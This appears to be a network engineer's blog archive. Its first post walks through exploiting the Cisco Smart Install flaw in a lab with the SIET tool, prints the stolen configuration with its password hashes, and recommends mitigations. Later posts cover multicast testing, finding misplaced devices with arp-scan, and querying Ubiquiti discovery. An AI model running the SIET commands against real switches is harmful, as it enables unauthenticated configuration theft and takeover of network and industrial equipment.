Monday, May 20, 2019

Attacking the Cisco Smart Install Vulnerability

The Cisco Smart Install service has been around for a long time, at least back to IOS 12.2.55. It suffers from a serious security vulnerability that allows an unauthenticated user to download the configuration or execute commands on the switch. Cisco released updates in late 2018 to resolve the issue but there are probably millions of switches out there that haven't been upgraded yet.

Here is an article from the guys that found the exploit https://embedi.org/blog/cisco-smart-install-remote-code-execution/. Their PoC code crashes the switch. As always, a crash is the first step in developing a usable exploit.

They list the following models as vulnerable:

  • Catalyst 4500 Supervisor Engines
  • Catalyst 3850 Series
  • Catalyst 3750 Series
  • Catalyst 3650 Series
  • Catalyst 3560 Series
  • Catalyst 2960 Series
  • Catalyst 2975 Series
  • IE 2000
  • IE 3000
  • IE 3010
  • IE 4000
  • IE 4010
  • IE 5000
  • SM-ES2 SKUs
  • SM-ES3 SKUs
  • NME-16ES-1G-P
  • SM-X-ES3 SKUs


Notice it includes the Industrial Ethernet series. That's unfortunate given that those switches are likely to be in industrial plants and other locations where an attacker can do real physical damage.


My advice is to add "no vstack" to your deployment template unless you are actually using Smart Install. Also, as a Cisco best practice, the switch's management plane should be on a vlan that is only accessible to trusted users.

There is a working exploit available from this github repository - SIET.

As you can see in the exploit description, there are several things you can do:

-t test device for smart install.
-g get device config.
-c change device config.
-u update device IOS.
-e execute commands in the device's console.
-i ip address of target device
-l ip list of targets (file path)
--thread-count number of threads to be spawned

Let's exploit a switch

As always, do not run this on a switch you don't own or have explicit written permission to.

Is vstack running? 

The tool can quickly check

->sudo python siet.py -t -i 192.168.10.52
[INFO]: Sending TCP packet to 192.168.10.52
[INFO]: Smart Install Client feature active on 192.168.10.52
[INFO]: 192.168.10.52 is affected


If you are logged into a switch there are a couple quick ways to verify
3750x#sh tcp brief all 
TCB       Local Address           Foreign Address        (state)
078C6E60  192.168.10.52.22        192.168.10.183.50902   ESTAB
07B162A8  *.4786                  *.*                    LISTEN
06FA06BC  *.443                   *.*                    LISTEN
06F9FCFC  *.443                   *.*                    LISTEN
06F9F33C  *.80                    *.*                    LISTEN
06F9E97C  *.80                    *.*                    LISTEN

Having port 4786 open means Smart Install is running.

or

3750x#sh vstack config 
 Role: Client (SmartInstall enabled)
 Vstack Director IP address: 0.0.0.0

 *** Following configurations will be effective only on director ***
 Vstack default management vlan: 1
 Vstack start-up management vlan: 1
 Vstack management Vlans: none
 Join Window Details:
Window: Open (default)
Operation Mode: auto (default)
 Vstack Backup Details:
Mode: On (default)
Repository: 

Note that is says "Vstack default management vlan: 1" but I am successfully attacking on vlan 10.

So Smart Install is running on a 3750-x in my lab. The switch is running c3750e-universalk9-mz.150-2.SE10. I started out with c3750e-universalk9-tar.152-4.E7 but the switch would reload when I ran the tool with Smart Install enabled. Once I installed c3750e-universalk9-mz.150-2.SE10 I was able to download the full configuration without any credentials or SNMP RW string.

NOTE: The tool uses its own python tftp server so it will fail if you already have a tftp server running. In my case I had just uploaded the 15.2.SE10 firmware and the tftp server was running. It took me a minute to figure out why the tool was failing:
[INFO]: binding socket .. error: [Errno 98] Address already in use

First, let's see who's logged into the switch


3750x#who
    Line       User       Host(s)              Idle       Location
*  1 vty 0     mhubbard   idle                 00:00:00 192.168.10.183

What type of authentication is in use

3750x#sh run | sec aaa 
aaa new-model
aaa group server radius ISE-group
 server name ISE
!

3750x#test aaa group ISE-group mhubbard ************** new-code 
User successfully authenticated

USER ATTRIBUTES

service-type         0   7 [NAS Prompt]
Framed-Protocol      0   1 [PPP]
service-type         0   2 [Framed]
priv-lvl             0   15 (0xF)

So the switch is using RADIUS authentication and is connected to the RADIUS Server. I know that for sure because my account password had expired and I had to log into my Windows server and change it before I could log into the switch!

Download the configuration without any credentials

Run the Smart Install Exploitation Tool with the "-g" flag to download the configuration:

~/Dropbox/03_Tools/SIET$ 
->sudo python siet.py -g -i 192.168.10.52
-= DvK =- TFTP server 2017(p)
[INFO]: Directory already exists. OK.
[INFO]: binding socket .. ok
[INFO]: Sending TCP packet to 192.168.10.52 
[INFO]: Package send success to 192.168.10.52: 
[INFO]: Getting config done
[INFO]: All done! Waiting 60 seconds for end of connections...
[INFO]: connect from  192.168.10.52 58422
[INFO]:[192.168.10.52] puting file 192.168.10.52.conf octet
[INFO]:[192.168.10.52]:[put] success binding data port 44000
[INFO]:[192.168.10.52]:[put] file tftp/192.168.10.52.conf finish download, size: 14351

Show the file in SIET's tftp folder

mhubbard@1S1K-G5-5587:~/Dropbox/03_Tools/SIET/tftp$ 
->ls -l
total 20
-rw-r--r-- 1 root root 14351 May 19 21:53 192.168.10.52.conf
-rw-r--r-- 1 root root    51 Mar  5 14:33 execute.txt


Display the configuration that was downloaded

cat 192.168.10.52.conf 

!
! No configuration change since last restart
!
version 15.0
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname 3750x
!
boot-start-marker
boot-end-marker
!
!
enable secret 5 $1$Ew15$ZstYXs4B38G/T710NavOV1
!
username cisco privilege 15 secret 5 $1$llTp$rNcLr9Y7GkG/zVmOdHNVR1
username hubbard privilege 15 secret 5 $1$5WVT$zWpFHuH2/FdDcQlOOchfS1
aaa new-model
!
!
aaa group server radius ISE-group
 server name ISE
!

Conclusion

Cisco Smart Install is very useful if you support remote sites without IT staff but you must be aware of this vulnerability. If you use the Cisco best practice of ACLing the management plane to only a trusted network you are probably not at much risk until you upgrade.

Speaking of Cisco best practices, the guys that wrote SIET also write a fantastic tool called the Cisco Configuration Analysis Tool (CCAT). It takes your switch config and runs it against the "Hardening Cisco IOS Devices" document and shows all the best practices that you are running and more importantly, any that you are missing.

You can check out the CCAT here

Saturday, April 6, 2019

Troubleshooting Multicast Routing

Mulitcast is used for applications like paging and bell systems (Bogen and Valcom for example) and Apple Airplay for screen sharing and Airprint for printing as well as many others. On home networks with one VLAN there are seldom any issues getting the multicast applications to work.

In an enterprise network with multiple VLANs, the switch must be configured for multicast to be routed correctly. Troubleshooting multicast issues can be time-consuming and without some tools almost impossible.

Linux has several terminal commands for checking Multicast status of an interface:

ip maddr show - list all multicast interfaces

Example:
ip maddr show
1: lo
inet  224.0.0.251
inet  224.0.0.1
2: wlp0s20f3
inet  224.0.0.251 users 4
inet  224.0.0.1

ip addr show <interface> - Look for MULTICAST

Example:
ip addr show wlp0s20f3 
3: wlp0s20f3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000

ip link show <interface> | grep MULTICAST

Example:
ip link show wlp0s20f3 | grep MULTICAST
3: wlp0s20f3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP mode DORMANT group default qlen 1000

Enable/Disable Multicast
sudo ip link set dev <interface> multicast [on|off]

netstat -g - Lists all multicast interfaces

Example:
netstat -g
IPv6/IPv4 Group Memberships
Interface       RefCnt Group
--------------- ------ ---------------------
lo              1      224.0.0.251
lo              1      all-systems.mcast.net
enp60s0         1      all-systems.mcast.net
wlp0s20f3       4      224.0.0.251
wlp0s20f3       1      all-systems.mcast.net

Pinging Multicast groups

ping -r -I wlp0s20f3 -t 1 -c 2 224.0.0.1
PING 224.0.0.1 (224.0.0.1) from 192.168.10.183 wlp0s20f3: 56(84) bytes of data.
64 bytes from 192.168.10.52: icmp_seq=1 ttl=255 time=3.89 ms
64 bytes from 192.168.10.50: icmp_seq=1 ttl=64 time=4.20 ms (DUP!)
64 bytes from 192.168.10.51: icmp_seq=1 ttl=64 time=5.50 ms (DUP!)
64 bytes from 192.168.10.50: icmp_seq=2 ttl=64 time=1.55 ms

-r - Bypass the normal routing tables and send directly to a host on an attached interface.  If the host is not on a directly-attached network, an error is returned.  This option can be used to ping a local host through an interface that has no route through it provided the option -I is also used.

-I - interface is either an address, or an interface name.  If interface is an address, it sets source address to specified interface address.  If interface is an interface name, it sets source interface to specified interface.

-t - ttl ping only.  Set the IP Time to Live.

-c - Count


On Linux, there are several free open source tools available for testing multicast. In this blog, I am going to demonstrate two tools
mcjoin - Simple multicast testing application for UNIX
omping - Open Multicast ping

The lab consists of:
Cisco 3750x switch running c3750e-universalk9-mz.152-3.E1 with an IP Services license
Ubuntu 18.04 laptop with IP Address 10.112.40.1/23
Ubuntu 18.04 laptop with IP Address 192.168.10.183/24

Vlan 10 - 192.168.10.0/24
Vlan 46 - 10.112.40.0.23

m c j o i n - tiny multicast testing tool

mcjoin is a very simple and easy-to-use tool to test IPv4 and IPv6 multicast. it features:

    an optional multicast generator (server)
    an end device that can act as a data sink (client)
    supports joining one or more groups:
        ASM (*,G) support
        SSM (S,G) support
    IPv4
    IPv6

Installing mcjoin

Download mcjoin_2.4_amd64.deb from mcjoin releases and double click to install.

The manual page for mcjoin is very good. Open it by running
man mcjoin

Simple usage example

Sender - 192.160.10.183/24 Vlan 10
Receiver - 10.112.40.1/23 Vlan46

sender$ mcjoin -s

receiver$ mcjoin
joined group 225.1.2.3 on eth0 ...
..................................................................
Received total: 66 packets
receiver$

In this example, you start mcjoin on the sender laptop with the -s switch and mcjoin with no options on the receiver laptop. After 30 seconds or so press ctrl+c to stop the process. If multicast was successful you see the number of packets that were received.

A more advanced example

Say you want to verify that your topology can forward 5 consecutive groups in the MCAST_TEST_NET, as defined in RFC5771.  Simply add the following as a standalone argument to both the receiver and the sender: 233.252.0.1+5.

On the sender
./mcjoin -s 233.252.0.1+5

On the Receiver
./mcjoin -t3 -i wlp0s20f3 233.252.0.1+5
joined group 233.252.0.1 on wlp0s20f3 ...
joined group 233.252.0.2 on wlp0s20f3 ...
joined group 233.252.0.3 on wlp0s20f3 ...
joined group 233.252.0.4 on wlp0s20f3 ...
joined group 233.252.0.5 on wlp0s20f3 ...
..................................^C
Group 233.252.0.1 received 40 packets
Group 233.252.0.2 received 40 packets
Group 233.252.0.3 received 40 packets
Group 233.252.0.4 received 40 packets
Group 233.252.0.5 received 40 packets
Received total: 200 packets


Using omping (open multicast ping)

omping is available from the same github site as mcjoin.

Install omping
https://github.com/troglobit/omping/

Simple example with two hosts. You can use more than two hosts.

Run the following on both laptops

./omping 10.112.40.1 192.168.10.183
10.112.40.1 : waiting for response msg
10.112.40.1 : joined (S,G) = (*, 232.43.211.234), pinging
10.112.40.1 :   unicast, seq=1, size=69 bytes, dist=1, time=1.669ms
10.112.40.1 :   unicast, seq=2, size=69 bytes, dist=1, time=3.906ms
10.112.40.1 : multicast, seq=2, size=69 bytes, dist=1, time=4.177ms
10.112.40.1 :   unicast, seq=3, size=69 bytes, dist=1, time=3.564ms
10.112.40.1 : multicast, seq=3, size=69 bytes, dist=1, time=3.860ms
^C
10.112.40.1 :   unicast, xmt/rcv/%loss = 3/3/0%, min/avg/max/std-dev = 1.669/3.046/3.906/1.205
10.112.40.1 : multicast, xmt/rcv/%loss = 3/2/33% (seq>=2 0%), min/avg/max/std-dev = 3.860/4.019/4.177/0.224

On the Switch


sh ip igmp groups 
IGMP Connected Group Membership
Group Address    Interface                Uptime    Expires   Last Reporter   Group Accounted
233.89.188.1     Vlan10                   02:12:24  00:02:37  192.168.10.50   
239.255.255.254  Vlan10                   02:12:24  00:02:41  192.168.10.221  
239.255.255.250  Vlan10                   02:12:25  00:02:40  192.168.10.239  
232.43.211.234   Vlan10                   00:00:02  00:02:57  192.168.10.183  
232.43.211.234   Vlan46                   00:00:13  00:02:46  10.112.40.1     
224.0.1.60       Vlan10                   02:12:24  00:02:43  192.168.10.239  
224.0.1.40       Vlan10                   01:52:28  00:02:36  192.168.10.52   
224.0.1.140      Vlan10                   02:12:24  00:02:39  192.168.10.254  

Using omping to test multicast with a specified multicast IP and port

From 192.168.10.183


./omping -m 233.252.0.1 -p 9106 10.112.40.1 192.168.10.183
10.112.40.1 : waiting for response msg
10.112.40.1 : waiting for response msg
10.112.40.1 : joined (S,G) = (*, 233.252.0.1), pinging
10.112.40.1 :   unicast, seq=1, size=69 bytes, dist=1, time=1.574ms
10.112.40.1 : multicast, seq=1, size=69 bytes, dist=1, time=53.798ms
10.112.40.1 :   unicast, seq=2, size=69 bytes, dist=1, time=2.608ms
10.112.40.1 : multicast, seq=2, size=69 bytes, dist=1, time=2.608ms
10.112.40.1 :   unicast, seq=3, size=69 bytes, dist=1, time=1.679ms
10.112.40.1 : multicast, seq=3, size=69 bytes, dist=1, time=1.809ms
10.112.40.1 :   unicast, seq=4, size=69 bytes, dist=1, time=1.595ms
10.112.40.1 : multicast, seq=4, size=69 bytes, dist=1, time=1.901ms
10.112.40.1 :   unicast, seq=5, size=69 bytes, dist=1, time=1.811ms
10.112.40.1 : multicast, seq=5, size=69 bytes, dist=1, time=2.043ms
10.112.40.1 : waiting for response msg
10.112.40.1 : server told us to stop

10.112.40.1 :   unicast, xmt/rcv/%loss = 5/5/0%, min/avg/max/std-dev = 1.574/1.853/2.608/0.432
10.112.40.1 : multicast, xmt/rcv/%loss = 5/5/0%, min/avg/max/std-dev = 1.809/12.432/53.798/23.126


On the switch

sh ip igmp groups
IGMP Connected Group Membership
Group Address    Interface                Uptime    Expires   Last Reporter   Group Accounted
233.89.188.1     Vlan10                   02:13:26  00:02:34  192.168.10.50   
239.255.255.254  Vlan10                   02:13:26  00:02:33  192.168.10.221  
239.255.255.250  Vlan10                   02:13:27  00:02:40  192.168.10.239  
233.252.0.1      Vlan10                   00:00:09  00:00:01  192.168.10.183  
233.252.0.1      Vlan46                   00:00:13  00:02:46  10.112.40.1     
224.0.1.60       Vlan10                   02:13:27  00:02:37  192.168.10.239  
224.0.1.40       Vlan10                   01:53:31  00:02:41  192.168.10.52   
224.0.1.140      Vlan10                   02:13:26  00:02:36  192.168.10.254  


Switch Configuration

3750x(config)#ip multicast-routing distributed 

interface vl 10
 ip address 192.168.10.52 255.255.255.0
 no ip redirects
  ip pim sparse-mode
end

interface Vlan46
 ip address 10.112.41.254 255.255.254.0
 ip helper-address 192.168.10.221
  ip pim sparse-mode
end

Create a loopback to use as the rendezvous point (RP)
interface Loopback0
 ip address 10.10.10.10 255.255.255.255
end

Create the Rendevouz point (RP)
ip pim rp-address 10.10.10.10

Show the rendezvous point
sh ip pim rp            
Group: 233.89.188.1, RP: 10.10.10.10, next RP-reachable never
Group: 239.255.255.254, RP: 10.10.10.10, next RP-reachable never
Group: 239.255.255.250, RP: 10.10.10.10, next RP-reachable never
Group: 233.252.0.1, RP: 10.10.10.10, next RP-reachable never
Group: 224.0.1.60, RP: 10.10.10.10, next RP-reachable never
Group: 224.0.1.40, RP: 10.10.10.10, next RP-reachable never
Group: 224.0.1.140, RP: 10.10.10.10, next RP-reachable never

sh ip multicast 
  Multicast Routing: enabled
  Multicast Multipath: disabled
  Multicast Route limit: No limit
  Multicast Fallback group mode: Dense
  Number of multicast boundaries configured with filter-autorp option: 0
  MoFRR: Disabled

From the Cisco multicast manual - Mulitcast configuration on an SVI
An SVI—A VLAN interface created by using the interface vlan vlan-id global configuration command. You will also need to enable IP PIM sparse-dense-mode on the VLAN, join the VLAN as a statically connected member to an IGMP static group, and then enable IGMP snooping on the VLAN, the IGMP static group, and physical interface. These interfaces must have IP addresses assigned to them. 

sparse-mode - Enables sparse mode of operation. If you configure sparse mode, you must also configure an RP. 

sh ip igmp snooping 
Global IGMP Snooping configuration:
-------------------------------------------
IGMP snooping                : Enabled
IGMPv3 snooping (minimal)    : Enabled
Report suppression           : Enabled
TCN solicit query            : Disabled
TCN flood PortFast           : Disabled
TCN flood query count        : 2
Robustness variable          : 2
Last member query count      : 2
Last member query interval   : 1000

Vlan 10:
--------
IGMP snooping                       : Enabled
IGMPv2 immediate leave              : Disabled
Multicast router learning mode      : pim-dvmrp
CGMP interoperability mode          : IGMP_ONLY
Robustness variable                 : 2
Last member query count             : 2
Last member query interval          : 1000

Vlan 46:
--------
IGMP snooping                       : Enabled
IGMPv2 immediate leave              : Disabled
Multicast router learning mode      : pim-dvmrp
CGMP interoperability mode          : IGMP_ONLY
Robustness variable                 : 2
Last member query count             : 2
Last member query interval          : 1000


References


Sunday, February 17, 2019

Locate IP devices on the wrong vlan

When replacing switches, sometimes a device like a Building Automation Control (BACnet) controllers or fire alarm quits working. This is usually because they got patched into the wrong port and now the IP address doesn’t work.

Since these devices normally have static IP addresses and seldom send a packet outbound, their MAC addresses don't register on the switch. This can lead to lost time and aggravation trying to get them back online, especially if they are in a remote cabinet or a switch that is physically hard to reach. This blog will show a process to reduce the time needed to locate the port the device is connected to, so that the problem can be resolved.


Here are the steps to take before the cutover


On the core switch

 

First, ping all host addresses for subnets of interest on the core switch. This will refresh the arp cache so that devices like BACnet controllers and alarms that have timed out will be in the cache. To do that:

  • Execute show run | i ^_ip address - The i means include, the ^ means start at the first character, the _ means look for one space, and ip address is the string to look for. This regex returns just IP addresses from the SVIs, not every instance of the string ip address.
  • Copy the output to a text file named vlans.txt
  • Run the python3 script pinger.py - You can download the script and read its documentation here. This script converts the subnet address into hosts and pings each host.
  • Execute show ip arp
  • Copy the output to a text file named arp.txt
  • Run the python3 script arp.py - You can download the script and read its documentation here. This script creates a json database of the MAC address/IP address mappings and is used with the next script.

On each edge switch

  • Execute show mac add int g1/0/1 | i Gi for each edge port on the switch.
  • Copy the output to a text file named mac-addr.txt. I created a spreadsheet with the necessary commands for several Cisco models and Rukus (Brocade) switches. You can download it here.
  • Run the python3 script macaddr.py  - You can download the script and read its documentation here.

The last step creates a listing of switch ports with the IP address, MAC address, Port and MAC Manufacture: 

Device Name: Test.MDF
Vlan   IP Address       MAC Address       Type       Interface   Vendor
--------------------------------------------------------------------------------
  16   172.16.16.9        0020.4adb.3e21    DYNAMIC    Gi1/0/5     Pronet
--------------------------------------------------------------------------------
  26   172.16.26.94       54ee.7505.86b5    DYNAMIC    Gi1/0/14    WistronI
--------------------------------------------------------------------------------
  23   172.16.23.117      5442.49a1.06c6    DYNAMIC    Gi1/0/47    Sony
--------------------------------------------------------------------------------
  20   172.16.20.153      000c.820d.007e    DYNAMIC    Gi2/0/24    NetworkT
--------------------------------------------------------------------------------
  20   172.16.20.96       0040.9d97.a3aa    DYNAMIC    Gi2/0/26    Digiboar
--------------------------------------------------------------------------------
  20   172.16.21.96       cc72.0fff.f6a5    DYNAMIC    Gi2/0/27    Viscount
--------------------------------------------------------------------------------
  20   172.16.25.96       0024.7900.095b    DYNAMIC    Gi2/0/30    OptecDis
--------------------------------------------------------------------------------


For this example, I have trimmed the list so it only shows devices that I know are static IP devices like Pronet which is a serial to IP device server, Sony, which in this case is a Surveillance camera, Digiboard which is a serial to IP console server, etc.  These are all devices that are critical to the company's operation and I want to make sure they work after the cut over. 
The macaddr.py script also creates a section with just the IP address and MAC address. Here is a snippet of it:

Device Name: Test.MDF
PingInfo Data
172.16.16.9 0020.4adb.3e21
172.16.26.94 54ee.7505.86b5


I take that information and save it to a text file named PingInfo-xxx, where xxx is something meaningful for the site. I use the text file with a free program PingInfoView from www.nirsoft.net to create a dashboard of live ping results. Below is an example of a PingInfo dashboard. PingInfo is Windows only!


PingInfoView continuously pings the addresses and any address that stops responding turns red. Obviously, we want all addresses to be green after the cut over!

After the cut over

The PingInfo dashboard should be all green. But what do you do if one of the static ip devices isn't live in the dashboard? Since many of these devices are Operational Technology (OT) versus IT they seldom send any traffic onto the network so immediately after a cut over the port they are connected to won't have a MAC address. If it got connected to a port on the wrong vlan you won't be able to ping it to populate the MAC address table.

There is a Linux tool called arp-scan by Roy Hill that you can use to send arp requests to a device. It can also send arp requests with an 802.1q vlan tag. This is the key to finding the lost device.


How to use arp-scan

 

Here is the network diagram for our example:



In my lab, I used a Kali VM to simulate an OT device. At a real customer site, you obviously wouldn't know what port the device is connected to.

First, you will need to install arp-scan on the Ubuntu box:

sudo apt install arp-scan

You can use arp-scan --help to see all of the options for arp-scan. It has a lot of uses, if you Google arp-scan examples, you will find a lot of good ones. I wrote a pyhton script that uses arp-scan to find open IP addresses on a subnet. It's useful when you need to connect to a subnet that doesn't have DHCP but you don't want to cause an IP address conflict. You can download it here.

To use arp-scan in our case, we need to know the interface on the Ubuntu box, the MAC address of the device (Destination MAC), the vlan ID of the switch port and the ip network the device is on. 

For the vlan ID, we select one from the vlans configured on the switch. You can use show vlan brief to see a list of vlans assigned to ports. If the switch has a lot of vlans defined you may have to run the command several times, iterating through different vlans.

In this example:

Linux interface - enp2s0f1
vlan ID - 46 (10.112.46.0/23)
Device MAC – 00:90:9e:9a:b5:3d
Device IP – 10.112.100.1
Device Subnet - 10.112.100.0/24

As you can see in the diagram, the simulated device is on port g1/0/48 which is configured as an access port on vlan 46. The Linux box with arp-scan is on a trunk port. The requirement here is that the trunk can pass vlan tags on vlan 46. 

It doesn't matter if the trunk has a native vlan with DHCP. Security best practices dictates that the native vlan nk on a trunk be an unused vlan. For our purposes, we don’t care if the interface has an IP address since we are using arp. You will see in the output that the IP address on the interface isn’t set.

Interface configuration for the Ubuntu laptop


sh run int g1/0/47
interface GigabitEthernet1/0/47
 switchport trunk encapsulation dot1q
 switchport mode trunk
end

On theUbuntu laptop connected to port g1/0/47

ip addr show enp2s0f1
 
2: enp2s0f1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 80:fa:5b:31:de:85 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::6d35:51a0:cef:4475/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

You can see that it doesn't have an IP address.

Interface configuration for the simulated device

sh run int g1/0/48
interface GigabitEthernet1/0/48
 switchport access vlan 46
 switchport mode access
end


SVI Interfaces


sh run int vl 46
interface Vlan46
 ip address 10.112.47.254 255.255.254.0
 ip helper-address 192.168.10.221
  no ip redirects
end

sh run int vl 100
interface Vlan100
 ip address 10.112.100.254 255.255.255.0
 ip helper-address 192.168.10.221
 no ip redirects
end


Run arp-scan

sudo arp-scan -I enp2s0f1 -Q 46 --destaddr=00:90:9e:9a:b5:3d 10.112.100.0/24
WARNING: Could not obtain IP address for interface enp2s0f1. Using 0.0.0.0 for
the source address, which is probably not what you want.

Either configure enp2s0f1 with an IP address, or manually specify the address
with the --arpspa option.
Interface: enp2s0f1, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.112.100.1    00:90:9e:9a:b5:3d    Critical IO, LLC (802.1Q VLAN=46)


1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.556 seconds (100.16 hosts/sec). 1 responded

You can see that arp-scan found the device by mac address and the device replied with its IP address.

Here is what it looked like in Wireshark on the Ubuntu box:


You can see that arp-scan sent 802.1q tag 46 even though I hadn't configured a subinterface on the Ubuntu box. I have a blog showing how to configure Ubuntu to use vlan tags. Here is a link to the blog - Bypass VTY access lists with Linux and Yersinia

Now on the switch, look for the mac address. 

sh mac add | i 0090.9e9a.b53d   
  46    0090.9e9a.b53d    DYNAMIC     Gi1/0/48

You can either move the device to the correct port or reconfigure the port for the correct vlan. If the customer allows it, I like to label this type of device's switch port like this:

des < BACnet 10.112.100.1 0090.9e9a.b53d>

That gives me the MAC and IP for future troubleshooting. 



Let's set up a lab to learn how to use arp-scan.


It's a simple setup, but there are few gotcha's if you are new to Linux or arp-scan. You will need a Linux machine, physical or virtual, and a Kali Linux virtual machine. The Kali VM will simulate our OT device because it is designed to be quiet on the network. The kali motto is "The quieter you are, the more you can hear".

We will use the same network layout as above so you can refer to that diagram.


On the Kali VM

Configure Kali with a static ip address. In this example:

10.112.100.1/24
255.255.255.0
NO GATEWAY
- If you assign a gateway the Kali box will send ARP requests to the gateway and populate the switch's mac address table.

Connect the Kali VM to switch port g1/0/48
Check to see if the Kali box sent traffic that caused the switch to record it's MAC address:

sh mac add int g1/0/48                                               
          Mac Address Table                                                    
-------------------------------------------                                    
                                                                               
Vlan    Mac Address       Type        Ports                                    
----    -----------       --------    -----                                    
  46    0090.9e9a.b53d    DYNAMIC     Gi1/0/48                                 
Total Mac Addresses for this criterion: 1               


Kali did send some traffic and that populated the mac address table. For our purposes, we need to make sure the Kali box isn't sending any traffic. Normally, you do not want your pen test box to send traffic you didn't explicitly request. That is why Kali has DHCP and other services disabled by default. 


In this case, I had been using DHCP before switching to static so the dhclient service was still running.

On Kali run

ps -ef | grep dh
root      2500  2125  0 13:18 pts/0    00:00:00 dhclient -v

If you see the dhclient service, then run
dhclient -r


to stop the service. If you don't stop it, the dhclient service will do a discover which will populate the MAC-address table on the switch and invalidates the test we are about to try.


Next, run the following to clear the mac address on the switch port. Sometimes you need to run it a few times before the address is cleared.

clear mac address-table dynamic interface g1/0/48


Finally, you should see an empty mac table for interface g1/0/48

sh mac add int g1/0/48                        
          Mac Address Table
-------------------------------------------

Vlan    Mac Address       Type        Ports
----    -----------       --------    -----

Try to ping the device

ping 10.112.100.1

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.112.100.1, timeout is 2 seconds:
.....
Success rate is 0 percent (0/5)

Connect your laptop to port 1/0/47. I run the lldpd daemon (sudo apt install lldpd) so I can verify that the laptop is connected using the following.

sh lldp ne
Capability codes:
    (R) Router, (B) Bridge, (T) Telephone, (C) DOCSIS Cable Device
    (W) WLAN Access Point, (P) Repeater, (S) Station, (O) Other

Device ID           Local Intf     Hold-time  Capability      Port ID
PROCURVE J9450A     Gi1/1/4        120        B               2
1S1K-SYS76          Gi1/0/47       120        B,W,R           80fa.5b31.de85

Total entries displayed: 2


Look at the interface that the laptop is connected to:


sh run int g1/0/47

interface GigabitEthernet1/0/47
 switchport trunk encapsulation dot1q
 switchport mode trunk
end


Look at the interface on the laptop after it's connected to the switch


ip addr show enp2s0f1 
2: enp2s0f1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 80:fa:5b:31:de:85 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::6d35:51a0:cef:4475/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

You can see that the interface is UP/UP but doesn't have an IP address.


Look at the SVIs


sh run int vl 46

interface Vlan46
 ip address 10.112.47.254 255.255.254.0
 ip helper-address 192.168.10.221
 no ip redirects
end


sh run int vl 100

interface Vlan100
 ip address 10.112.100.254 255.255.255.0
 ip helper-address 192.168.10.221
 no ip redirects
end

Now we are ready to run arp-scan and find the device:

sudo arp-scan -I enp2s0f1 -Q 46 --destaddr=00:90:9e:9a:b5:3d 10.112.100.0/24
WARNING: Could not obtain IP address for interface enp2s0f1. Using 0.0.0.0 for
the source address, which is probably not what you want.
Either configure enp2s0f1 with an IP address, or manually specify the address
with the --arpspa option.
Interface: enp2s0f1, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.112.100.1    00:90:9e:9a:b5:3d    Critical IO, LLC (802.1Q VLAN=46)

1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.556 seconds (100.16 hosts/sec). 1 responded



Verify that the mac-address table on the switch has been updated


sh mac add | i 0090.9e9a.b53d   
  46    0090.9e9a.b53d    DYNAMIC     Gi1/0/48


Friday, February 8, 2019

Ubiquiti Discovery Protocol - Find the firmware version-SSID-Model

Ubiquiti devices use UDP on port 10001 for autodiscover of other Ubiquiti devices. If you are hard coding IPs and managing the devices individually, you can disable this discovery process. The references below have two links to Ubiquiti KBs on the issue. Here are the instructions:

SSH into the device

ssh <username>@IP-Address
configure
set service ubnt-discover interface <interface-name> disable
commit
save

On a router, you will definitely want to disable it on the WAN interface. If you are using Ubiquiti's cloud management you will need to verify that it works after making this change.

SSH into the device

ssh <username>@IP-Address
configure
set service ubnt-discover interface <interface-name> disable
commit
save

To look at what the discover sends out, you can use the following commands. No authentication is required to get the output. As with all network devices, you should use a dedicated management vlan and ACL it off so that only authorized stations can access the management interface.

This is from a NanoStation 5 AC loco in my lab. It has the following settings:

  • SSID - death2all
  • firmware version - WA.v8.5.11.39842.190109.1449.bin
  • Device name - Office
echo -ne "\x01\x00\x00\x00" | socat -t 1 udp:192.168.10.50:10001 - | hexdump -C

echo -ne "\x01\x00\x00\x00" | socat -t 1 udp:192.168.10.50:10001 - | hexdump -C
00000000  01 00 00 9b 01 00 06 fc  ec da c4 6e 55 02 00 0a  |...........nU...|
00000010  fc ec da c4 6e 55 c0 a8  0a 32 02 00 0a fc ec da  |....nU...2......|
00000020  c4 6e 55 a9 fe 6e 55 03  00 23 57 41 2e 61 72 39  |.nU..nU..#WA.ar9|
00000030  33 34 78 2e 76 38 2e 35  2e 31 31 2e 33 39 38 34  |34x.v8.5.11.3984|
00000040  32 2e 31 39 30 31 30 39  2e 31 34 34 39 0a 00 04  |2.190109.1449...|
00000050  00 00 38 69 0b 00 06 4f  66 66 69 63 65 0c 00 03  |..8i...Office...|
00000060  4e 35 4c 0d 00 09 64 65  61 74 68 32 61 6c 6c 0e  |N5L...death2all.|
00000070  00 01 03 10 00 02 e7 fa  13 00 06 fc ec da c4 6e  |...............n|
00000080  55 14 00 14 4e 61 6e 6f  53 74 61 74 69 6f 6e 20  |U...NanoStation |
00000090  35 41 43 20 6c 6f 63 6f  18 00 04 00 00 00 00     |5AC loco.......|

Explanation of the Linux commands


Echo
echo the STRING(s) to standard output.
       -n     do not output the trailing newline
       -e     enable interpretation of backslash escapes

socat
Socat is like the cat command but it can transfer data between two locations instead of just from a file to stdout.
-t     Delay
-      Write to stdout

hexdump
From the man page - The hexdump utility is a filter which displays the specified files, or the standard input, if no files are specified, in a user specified format.
-C     Canonical hex+ASCII display.  Display the input offset in hexadecimal, followed by sixteen space-separated, two column, hexadecimal bytes, followed by the same sixteen bytes in %_p format enclosed in ``|'' characters.

To look for multiple devices, you can use this simple loop. Change the IP to match your network.


for ip in 192.168.10.{50..51}
 do
         echo "------ ${ip} ------" 
